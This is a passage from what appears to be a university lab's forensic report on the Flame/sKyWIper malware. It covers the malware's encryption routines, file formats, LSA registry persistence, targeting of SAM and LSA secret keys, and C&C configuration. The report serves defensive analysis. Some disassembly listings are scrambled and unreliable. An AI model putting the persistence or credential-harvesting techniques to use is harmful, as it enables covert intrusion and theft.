return (a1 + 11) * (a1 + 17) ^ (((unsigned __int16)((a1 + 11) * (a1 + 17) & 0xFF00) ^ ((((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (a1 + 11) * (a1 + 17) & 0xFF0000) >> 8)) >> 8); Figure 15 Encryption E2 found in 4091.dll; loaded as 12Windows Management Instrumentation Configurator service soapr32.dll: keygensub_1000C0A2(int a1) return (a1 + 11) * (a1 + 17) ^ ((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (((a1 + 11) * (a1 + 17) ^ ((unsigned int)((a1 + 11) * (a1 + 17)) >> 8)) >> 16); used as stream cipher with function: .text:1000C0C6 eax, [esp+8+arg_0] .text:1000C0CA esi, [edi+eax] .text:1000C0CD eax, edi .text:1000C0CF call keygensub_1000C0A2; eax->key one d .text:1000C0D4 [esi], al ; sub the calculated key .text:1000C0D6 .text:1000C0D7 edi, [esp+8+arg_4] .text:1000C0DB short loc_1000C0C6 Figure 16 Encryption E2B found in soapr32.dll unsigned int cipher(unsigned int a1) return (a1 + 5) * (a1 + 26) ^ ((unsigned int)((a1 + 5) * (a1 + 26)) >> 8) ^ (((a1 + 5) * (a1 + 26) ^ ((unsigned int)((a1 + 5) * (a1 + 26)) >> 8)) >> 16); .text:1000E895 sub_1000E895 proc near ; CODE XREF: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu .text:1000E895 .text:1000E898 .text:1000E89B .text:1000E89E .text:1000E8A0 .text:1000E8A3 .text:1000E8A5 .text:1000E8A7 .text:1000E8AA .text:1000E8AC .text:1000E8AE .text:1000E8AE sub_1000E895 imul retn endp ecx, [eax+1Ah] eax, 5 ecx, eax edx, ecx edx, 8 eax, edx eax, ecx eax, 10h eax, edx eax, ecx called as stream cipher in the following way (encryption): .text:1000E8BB loc_1000E8BB: .text:1000E8CE .text:1000E8BB .text:1000E8BE .text:1000E8C1 .text:1000E8C3 .text:1000E8C8 .text:1000E8CA .text:1000E8CB .text:1000E8CE .text:1000E8D0 .text:1000E8D1 ; CODE XREF: call eax, [ebp+8] esi, [edi+eax] eax, edi keygen_sub_1000E895 [esi], al edi, [ebp+0Ch] short loc_1000E8BB [esi], al decryption part difference: .text:1000E8ED (advnetcfg: sub_1000BD68 ; nteps: sub_1000E895) Figure 17 Encryption E3 found in advnetcfg and nteps32 6411/sub_10003463 v2 = result; if ( a2 ) v3 = 11 - result; result = dword_100420B8 + (v3 + v2) * (v3 + v2 + 12); *(_BYTE *)v2 -= result ^ ((unsigned __int16)((_WORD)dword_100420B8 + (v3 + (_WORD)v2) * (v3 + (_WORD)v2 + 12)) >> 8) ^ ((unsigned int)(dword_100420B8 + (v3 + v2) * (v3 + v2 + 12)) >> 16) ^ ((unsigned int)(dword_100420B8 + (v3 + v2) * (v3 + v2 + 12)) >> 24); ++v2; --a2; Figure 18 Encryption E4 not clear where it is used Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu int __usercall sub_1000D9DC(int result, int a2) int v2; // esi@1 int v3; // edi@2 v2 = result; if ( a2 ) v3 = 11 - result; result = (v3 + v2) * (v3 + v2 + 6) + 88; *(_BYTE *)v2 -= result ^ ((unsigned __int16)((v3 + (_WORD)v2) * (v3 + (_WORD)v2 + 6) + 88) >> 8) ^ ((unsigned int)((v3 + v2) * (v3 + v2 + 6) + 88) >> 16) ^ ((unsigned int)((v3 + v2) * (v3 + v2 + 6) + 88) >> 24); ++v2; --a2; while ( a2 ); return result; Figure 19 Encryption E4B -- found in 4748.dll, possibly used on resource 164 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 0000000: 4909 caa4 11f3 63f7 2a30 58d8 43eb 3d83 0000010: 626b 542e d0ca 5f07 599a 07ca 556a f059 0000020: 0d17 b7a2 1c8a 4ac9 bc75 c1e6 30fb 898e 0000030: a8e3 51e2 16bd ea65 02e3 a83b 4555 0a3f 0000040: a6e7 ccfb 19b8 72df 5a57 810a 5cce d1a8 0000050: 5ef8 b871 a07a 9db3 0bcf c786 65d9 100e 0000060: 9d54 3445 f52f d9e1 0b66 b885 d165 1ec1 0000070: 0685 0c3a 7cd1 55e1 11db e3b2 5712 41a0 0000080: 836c 1680 054d 852c aec3 1f54 20bf 7ed2 0000090: 7a7c c6f7 220e c0c6 8921 ca51 d0e4 92e6 00000a0: acf4 016c 35ff 79a0 5dac c9ff 7f62 3e9e 00000b0: 070c 629e 9095 11a4 37ef 2b89 0fa5 3df4 00000c0: e0f6 0799 7176 a633 e728 66cb 8826 b714 00000d0: 23dc 0817 9433 e906 d376 16ba 08fa 9841 00000e0: bb6c 82c7 d0d6 4efe a076 a45a 6704 d430 00000f0: 4c64 bff4 d731 cea2 0f7f 3613 9659 b178 0000100: af91 81a2 7325 f22d d3d7 8cb8 ff13 f748 0000110: 9604 41c1 1b19 3d5f 3cc6 e5c2 3635 2731 0000120: dcb9 3c77 9995 38d8 46bc 80d2 f6aa c069 0000130: 0a7b ca91 f2ad 0da2 a45f 966d 7457 9b58 0000140: d78e 6336 d4a3 0d98 a312 23b9 66e3 5a53 0000150: 1134 d01c 1b48 b7e8 8d0b 6a49 c400 27f0 0000160: eef1 fb0e 36ee f395 0277 0bd2 1983 6dfe 0000170: 3666 45fb 98c9 fd5a 300d 7a24 4c46 4861 0000180: c929 09b6 6861 ae81 7a61 2fd0 7121 7c04 0000190: 7809 b5c9 a9d5 670d 9959 1291 58e7 bc54 00001a0: 8111 e1f2 5092 dc54 49b2 622b 7eee a22d 00001b0: bef2 c085 02f6 d4c4 f674 c2de ef1f c626 00001c0: c095 ec9b 2115 d279 6d76 4693 f3c9 41ac 00001d0: a355 1806 0b41 25c8 d853 0579 d404 0bb1 00001e0: 2720 5ab9 755d 2e79 15af 9946 5c42 ea8a 00001f0: e2b8 dd91 7d4c 7c9d f2a7 35a6 09d2 f927 0000200: a826 0a7f d54c 413a af8a 9cb2 4d4e d7c4 0000210: 54b7 ecbb b6ce 5391 62b8 0e59 26e9 671e 0000220: b075 eb6e 6ea3 5a7f 9e66 7d99 4d8c 6184 0000230: 113c 8698 a22c cfb9 2eaf bcf4 fa90 07a3 0000240: 1f17 1217 1115 ac72 031d 380e 1ff5 e374 0000250: 925f 6b71 4831 924d a7dd 2b81 ed45 78f4 0000260: 4385 5ef5 11af 7509 df54 743e c31f 38b3 0000270: afd9 521e a93b ffa6 fd85 c9a6 4ee4 00f6 0000280: 1eb0 9aa3 dfb6 ba3a bd5e 54dd 4ecf 75e7 0000290: 9b4c 7d55 cdb5 4e18 b18c 712b d52f 50cd 00002a0: f9ec 5f2f bd22 73c9 ea85 3b40 91f6 7079 00002b0: 552c 9252 4614 78a3 8edf d7e1 1f21 5db1 00002c0: 280c 843b a23e 4fbe 862f a7f5 400d a7d1 00002d0: a2c8 b165 b728 21f3 7548 afa3 46e0 3422 00002e0: b49f 76b4 239b 3aa0 6fd4 2d2b d7b0 eaed 00002f0: 1656 2416 5132 721e ccdf 50a1 9862 8252 0000300: b080 88a9 9036 ac52 adbc 789f 4c29 537d 0000310: 5413 debd b867 77d8 966b adc6 8871 a14c 0000320: 16f3 f3c4 f8b6 f47a fde5 d4b6 df5d 3518 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 0000330: d9e3 c883 3e30 c885 3dcc 110d 1708 bb4b 0000340: d85c e180 3e27 e216 3ed9 0c3b d50c 2432 0000350: dc80 76ec c1ba 4a9f 3419 3482 f2c6 0220 0000360: f004 72e5 83df 5711 4f20 50c6 778d 6af6 0000370: 5063 d245 8987 89a3 0f9a 5f97 be52 459e 0000380: bd87 7276 0ca3 2873 597d 61a7 0a80 5475 0000390: 660e c136 6730 f151 7d3b ce5e 968f a227 00003a0: ec52 f10c 475c dbf3 4a86 abad e1d2 22b5 00003b0: c5c3 4cea 347d 063a 27ac cb61 82c5 1822 00003c0: 95c4 211b e1bc 4870 7fe7 5e87 1aec a435 00003d0: 1bf1 5a9b 0523 2767 93df 0ddb 1247 9509 00003e0: 3801 8437 c626 ffe4 a773 da85 1d61 b45f 00003f0: 0630 fa64 264b 7277 d286 6453 5c81 e9e9 Figure 20 Encryption E5 -- ~DEB93D encryption key, 1024 byte XOR key used repeatedly Encryption key E5 might be calculated, but it can also be found in attack tables in memory dumps. Simple XOR with a constant is also used to encrypt files in multiple places. For instance, Boot32drv.sys is an encrypted data file with simple XOR with 0xFF. to691.tmp is always among the first files that was installed into infected systems. The file contains configuration data and log results, very similar to the audcache.dat, but it is encrypted in a different way, as follows. to691.tmp is encrypted cyclically by XOR-ing with a 16-byte long binary string. The string was found to be individual on the samples. As the cleartext file contains many 0x00 characters, the XOR key can be easily found by statistical means. The method is described in Figure 21 as Encryption E6A. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu for i=0..15: take all characters from file at n*16+i generate statistics on characters key[i]=find most common character for i=0..filesize: decrypted[i]=encrypted[i] XOR key[i%16] Figure 21 Encryption E6A TO691 1 stage generic decryption pseudocode The decrypted text after E6A is still not cleartext database format, but one can easily see that it is very similar to the file format of audcache.dat (after decryption). The second stage is a mono-alphabetical substitution, for which it may not be impossible to find a short mathematical formula to calculate the substitutions, but so far we were not able to find that. Instead, we manually investigated the file and built a partial substitution table on the characters used. The partial table is denoted as E6B in Figure 22. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 22 Encryption E6B TO691 2nd stage substitution table known elements (left: cipher character, right: cleartext character) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu We also share some samples with the encryptions above to make it easier to pinpoint the encryption algorithm: 0000000000: FF F5 FF FF FF FE FE 23 FC FF FF FE 6F FE FF E4 0000000010: CE 4C 3E 00 00 00 00 00 00 00 FD FB FF FF FF 46 Figure 23 Sample for encryption/encoding boot32drv.sys simple XOR with 0xFF 0000000000: 75 EA EA EA FA 15 66 EA EE 15 66 EA EA EA E0 EA 0000000010: EA F7 EF FC 24 EA EA EA 0D 0D 0D 0D 91 EA EA EA Figure 24 Sample for encryption/encoding made with encryption E1; 0xEA 0x00 4.2. Registry parts The malware does not modify too many registry keys as most information, data, configuration are stored in files. The affected registry entries are the following: For installations and startup, LSA is abused: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Autenthication Packages will contain in new line mssecmgr.ocx: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] "Authentication Packages"=hex(7):6d,00,73,00,76,00,31,00,5f,00,30,00,00,00,6d,\ 00,73,00,73,00,65,00,63,00,6d,00,67,00,72,00,2e,00,6f,00,63,00,78,00,00,00,\ 00,00 For some communications between processes wave8 and wave9 are used. Wave8 possibly stores some PID, but this is just a guess. Wave9 is a name for the stored version of the main module 23:34:34,1794024 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave9 23:35:05,5405919 wmiprvse.exe 2472 NT\CurrentVersion\Drivers32\wave9 23:35:39,6297465 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave9 23:35:39,6299138 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave9 23:35:39,6300097 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave9 23:35:39,6302820 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave9 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 536 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 536 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 144 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 144 RegSetValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 23:35:39,6313420 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6314414 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6314604 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6315540 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6315727 rundll32.exe 2388 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 2, Data: 23:35:39,6332115 rundll32.exe 2388 RegSetValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv 23:35:50,6732679 alg.exe 2848 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv 23:35:50,6733205 alg.exe 2848 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv 23:36:17,4627767 services.exe 748 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9 SUCCESS Type: REG_SZ, Length: 102, Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv Figure 25 Wave9 communications 23:34:29,5181519 wmiprvse.exe 2248 NT\CurrentVersion\Drivers32\wave8 23:34:34,1793845 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave8 23:35:05,5405737 wmiprvse.exe 2472 NT\CurrentVersion\Drivers32\wave8 23:35:39,6273171 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave8 23:35:39,6277806 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave8 23:35:39,6278907 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave8 23:35:39,6292151 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave8 23:35:39,6293931 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave8 23:35:39,6294881 rundll32.exe 2388 NT\CurrentVersion\Drivers32\wave8 23:35:50,6732487 alg.exe 2848 NT\CurrentVersion\Drivers32\wave8 23:36:17,4627582 services.exe 748 NT\CurrentVersion\Drivers32\wave8 23:36:17,5738388 services.exe 748 NT\CurrentVersion\Drivers32\wave8 23:36:23,7643698 iexplore.exe 3240 NT\CurrentVersion\Drivers32\wave8 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 536 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 536 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 536 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 144 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NAME NOT FOUND Length: 144 RegSetValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegSetValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 23:36:43,0717217 iexplore.exe 3520 NT\CurrentVersion\Drivers32\wave8 23:37:02,2292562 iexplore.exe 3632 NT\CurrentVersion\Drivers32\wave8 RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: RegQueryValue HKLM\SOFTWARE\Microsoft\Windows SUCCESS Type: REG_SZ, Length: 2, Data: Figure 26 Wave8 communications 4.3. Compression and table formats The file ntcache.dat found among the DAT files contains logs from the inspected target computer. However, there are references for ntcache.dat as SFS Storage. STORAGE.SFS.FILES.ntcache?dat.REINITIALIZE_ME STORAGE.SFS.FILES.ntcache?dat.DELETE_ME STORAGE.SFS.FILES.lmcache?dat.MAX_SIZE STORAGE.SFS.FILES.lmcache?dat.BACKUPsKyWIper Figure 27 Winlogon.exe with injected code working with ccalc32.sys - procmon We present the beginning of the binary format for ntcache.dat below. 0000000000: 02 30 30 30 30 30 30 31 45 5C 30 30 30 30 30 30 0000000010: 30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000000D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000000100: 00 96 02 00 00 E6 57 1B 5B 5E 88 CC 01 01 00 00 0000000110: 00 28 01 0A 00 00 00 FF FF 00 00 43 00 4D 00 44 0000000120: 00 02 00 00 00 33 00 0C 00 00 00 FF FF 00 00 44 0000000130: 00 45 00 53 00 43 00 0C 00 00 00 42 00 47 00 66 0000000140: 00 4C 00 6F 00 77 00 2A 00 00 00 FF FF 00 00 52 0000000150: 00 45 00 51 00 55 00 45 00 53 00 54 00 45 00 44 0000000160: 00 5F 00 46 00 49 00 4C 00 45 00 5F 00 4E 00 41 0000001E\000000 C M D E S C B G f L o w * E Q U E S T E D _ F I L E _ N A Figure 28 Binary format of ntcache.dat (beginning) We could not decide if the format is custom or just some strange binary format. A comparison with ~HLV473.tmp, a file that contains a list of running processes, reveals the sequences 78 DA ED and 78 DA 73 standing for a zlib inflate compressed format. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 0000000EF0: 00 00 00 00 00 00 00 00 00 00 00 00 2B A0 80 B1 0000000F00: 01 06 00 00 00 78 DA ED 9D 5B 6C 1D C7 79 C7 F7 0000000F10: 90 94 A2 9B 15 56 37 D3 94 AA 9E 28 B2 2C 2B 0A Figure 29 78 DA ED compressed record in ntcache.dat 0000000000: 78 DA 73 E0 67 60 E0 65 60 60 60 01 E2 FF FF 19 0000000010: 18 18 81 34 63 02 1B 03 03 3F 10 E8 00 39 22 40 0000000020: CC 03 C4 1C 40 3C 81 E5 BE 64 68 DB 19 90 1A B0 e``` 9"@ Figure 30 78 DA 73 compressed record in ~HLV473.tmp After decompression, we observe the following: 0000000000: 40 0F 00 00 0D 00 00 00 04 00 00 00 FF FF 00 00 0000000010: 01 00 00 00 01 60 06 00 00 0F 0F 0F 0F 2C 00 00 0000000020: 00 14 00 00 00 0C 00 00 00 08 00 00 00 90 04 DF 0000000030: 19 55 86 CC 01 00 00 00 00 0F 0F 0F 0F 28 00 00 0000000040: 00 18 02 00 00 10 02 00 00 0C 02 00 00 FF FF 00 0000000050: 00 46 00 61 00 72 00 2E 00 65 00 78 00 65 00 00 0000000060: 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 0000000070: 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 F a r . e x e Figure 31 78 DA 73 compressed record decompressed beginning from ~HLV473.tmp information on running processes inside (Far.exe) We also found PPMd compression format in ntcache.dat, probably marked by 8F AF AC 84 This is used by some libraries and programs including 7-zip, winzip, perl Compress:PPMd. 0000000450: 00 00 00 00 02 00 43 01 24 65 B3 A9 3A AF 59 00 0000000460: 00 00 55 00 00 00 8F AF AC 84 0F 01 9A 46 20 4F 0000000470: ED 10 62 9C E0 42 02 D4 82 83 AF 02 6F CE DE 7D Figure 32 8F AF AC 84 PPMd compressed record in ntcache.dat The same PPMd compression is used in the advnetcfg.ocx info-stealer (?) module: .text:1002E2F4 .text:1002E2F7 .text:1002E2F8 .text:1002E2FA .text:1002E2FB .text:1002E302 .text:1002E307 .text:1002E30B .text:1002E30D .text:1002E312 push push call call eax, [ebp+var_24] [ebp+var_10], 84ACAF8Fh ; PMMD magic sub_1000C28D byte ptr [ebp+var_4], 1 ebx, eax sub_1000C439 byte ptr [ebp+var_4], 0 Figure 33 8F AF AC 84 magic usage in advnetcfg.ocx Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Many DAT files have the following structure: A table is stored in a file, containing key-value pairs. The key-value pairs are separated by multiple 0xFF characters (like padding), in some files with multiple 0xAE characters (Duqu often used 0xAE as well). Between the key and value 0xFF, 0xFE separates the data. The ~DEB93D files contain Samba / nmb lookups in a proprietary table format 0000000000: 26 C1 30 0E 51 36 XX 4F 03 00 00 22 00 00 00 31 0000000010: 00 39 00 32 00 2E 00 31 00 36 00 38 00 2E 00 30 0000000020: 00 2E 00 31 00 31 00 20 00 57 00 50 00 41 00 44 0000000030: 00 52 36 XX 4F 03 00 00 22 00 00 00 31 00 39 00 0000000040: 32 00 2E 00 31 00 36 00 38 00 2E 00 30 00 2E 00 0000000050: 31 00 31 00 20 00 57 00 50 00 41 00 44 00 52 36 0000000060: XX 4F 03 00 00 2E 00 00 00 31 00 39 00 32 00 2E 0000000070: 00 31 00 36 00 38 00 2E 00 30 00 2E 00 31 00 31 0000000080: 00 20 00 47 00 4F 00 4F 00 47 00 4C 00 45 00 2E 0000000090: 00 43 00 4F 00 4D 00 53 36 XX 4F 03 00 00 22 00 Q6XO 9 2 . 1 6 8 . 0 . 1 1 W P A D R6XO 2 . 1 6 8 . 0 . W P A D R6 1 9 2 . 1 6 8 . 0 . 1 1 G O O G L E . C O M S6XO Figure 34 8F AF AC 84 PPMd compressed record in ntcache.dat The table format is as follows: Ater 4 bytes header every record begins with UNIX timestamp (like 0x4FXX3651 in the figure), then 03 00 00 is some kind of record header, refers to record length, but you should add 3, as the next 00 00 00 is not strictly related to the record, so the real payload without the 00 00 00 string is 0x22 bytes long. Most of the records are readable queries like the ones above, but some contain raw samba protocol data. The creation of ~DEB93D files are connected to nteps32 export functions, possibly EnableSHR, but this is not confirmed yet. 4.4. Data storage formats Although the HLV and KWI file formats are not yet fully understood, these files contain data resembling to database table records and some records of the above described compressed formats. From the extracted contents of some of these data files we found that they all (HLV, KWI, and even ntcache.dat) contain basic information on running processes. The information is about 1000-2000 bytes of redundant data. It contains the actual status of the running program, and in some cases, historical data as well. In some cases, they seem to contain screenshot related information besides the list of running processes. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Further investigations on these files indicated that the KWI files have different purpose as shown in the figures below: HighSeverityStorageFileName - KWI989.tmp LowSeverityStorageFileName - KWI988.tmp Figure 35 KWI file names found in ccalc32drv.sys, labels hint the purpose of the KWI files %CommonProgramFiles%\Microsoft Shared\MSAudio\ %CommonProgramFiles%\Microsoft Shared\MSSecurityMgr\ %CommonProgramFiles%\Microsoft Shared\MSAPackages\ Figure 36 Dat Storage possible locations (this is the same as Nteps32 exports) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 4.5. Logging file list The malware saves ~rf files in /windows/temp. This operation seems to be automatic, but perhaps it may also be remotely controlled. These files are encrypted with the E1 encryption algorithm (see above). After decryption, the file appears to be an SQLite3 database, storing information on drivers, directories, and file names. Figure 37 SQLite database format for ~rf files [file db] Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 38 File list of the file system in the ~rf files Discussion: Storing full directory listing in SQLite databases is something you won t expect from a malware. It s very strange as it raises complexity and the need for space, and in addition it leaks information through the database structure. Note that the SQLite browser application cannot see full filenames as they are stored in Unicode format in blob entries, and the first \x00 stops viewing them. 4.6. Saving additional information The malware is curious about lot of things. Some examples from the long list of interests are shown in the figure below: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu HKLM\Security\Policy\PolSecretEncryptionKey string double compressed in res146 select * from CIM_HostedAccessPoint ? root\cimv2 ? Access PointsW string from res146, compressed F HKIU\Software\Microsoft\office -?? res146 compressed string HKIU\Software\Adobe\Adobe Acrobat surely interesting from propagation perspective. res146 compressed string HKIU\Network res146 compressed string HKLM\SAM\SAM\Domains\Account\F string from res146 compressed strings Figure 39 Items the malware is interested in Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 5. C&C communication C&C communication is defined under the name GATOR. Resource 146 contains key-value pairs or templates related to GATOR configuration. GATOR.CMD.SUCCESS_VALIDITY GATOR.LEAK.MIN_BYTES_TO_LEAK GATOR.LEAK.SUICIDE_LOG_LEAK_SIZE GATOR.LEAK.BANDWITH_CALCULATOR.LEAK_SECS GATOR.INTERNET_CHECK.MIN_TIME_BETWEEN_CHECKS GATOR.INTERNET_CHECK.CURRENT_FAILURES_COUNT GATOR.INTERNET_CHECK.SERVERS.size GATOR.INTERNET_CHECK.SERVERS.1.prev GATOR.INTERNET_CHECK.SERVERS.1.next GATOR.INTERNET_CHECK.SERVERS.1.data GATOR.INTERNET_CHECK.SERVERS.1.data.TIMEOUT GATOR.INTERNET_CHECK.SERVERS.1.data.URL GATOR.INTERNET_CHECK.SERVERS.1.data.VALIDITY (servers are stored in the file from 1 to 6) GATOR.SERVERS.size GATOR.SERVERS.first GATOR.SERVERS.last GATOR.SERVERS.free GATOR.SERVERS.1.prev GATOR.SERVERS.1.next GATOR.SERVERS.1.prev GATOR.SERVERS.1.data.USESSL GATOR.SERVERS.1.data.PORT GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev GATOR.SERVERS.1.prev (gator servers are defined from 1 to 5) Figure 40 Gator communication related data in resource 146 of mssecmgr.ocx (main module) We received information of more than 50 different domain names related to the C&C communication and more than 15 distinct IP addresses. C&C servers are changed frequently by changing the IP address of the particular host/domain name (the well-known fluxing technique used by botnets). Many more configuration settings and logs for C&C communications can be found in the to691.tmp file. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\secindex.dat https://XXXX.info:443/cgi-bin/counter.cgi https://XXXX.info:443/cgi-bin/counter.cgi GATOR.SERVERS.1.data.SITE SINGLE_CMD_RUNNER GATOR.SERVERS.1.data.SITE XXXX.info->XXXXX.com GATOR.SERVERS.1.data.URL cgi-bin/counter.cgi->wp-content/rss.php GATOR.SERVERS.-1.SITE [NoValue]->XXXX.info GATOR.SERVERS.-1.USESSL [NoValue]->False GATOR.SERVERS.-1.TIMEOUT [NoValue]->180000 GATOR.SERVERS.-1.URL [NoValue]->wp-content/rss.php GATOR.SERVERS.-1.PORT [NoValue]->80 GATOR.SERVERS.-1.PASSWORD [NoValue]->LifeStyle2 XXX.info SINGLE_CMD_RUNNER P_CMDS.RESTORE_REDIRECTION_STATE SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER P_CMDS.RESTORE_REDIRECTION_STATE.SECS_BETWEEN_RUNS [NoValue]->87654 P_CMDS.RESTORE_REDIRECTION_STATE.MAX_RUNS [NoValue]->2 P_CMDS.RESTORE_REDIRECTION_STATE.CMD_BUF [NoValue]->BUF_SITE:271 CRC:525FXXXX P_CMDS.RESTORE_REDIRECTION_STATE.NUM_OF_RUNS [NoValue]->0 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER GATOR.LEAK.NEXT_REQUEST_TIME 314821->1222222222 GATOR.LEAK.NEXT_REQUEST_SYS_TIME 133XXX2106->1222222222 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER MANAGER.FLAME_ID 13XXXXX15X->13 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER GATOR.CMD.NEXT_REQUEST_TIME 340504->0 COMAGENT COMAGENTWORKER WEASEL IDLER CommandExecuter CommandFileFinder MICROBE MICROBE_SECURITY GadgetSupplierWaitThread MICROBE_SECURITY MICROBE SINGLE_CMD_RUNNER C:\WINDOWS\system32\advpck.dat C:\WINDOWS\system32\advpck.dat, EnableTBS C:\WINDOWS\system32\advpck.dat C:\WINDOWS\system32\ntaps.dat, EnableSHR C:\WINDOWS\system32\ntaps.dat, EnableOFR Laboratory of Cryptography and System Security 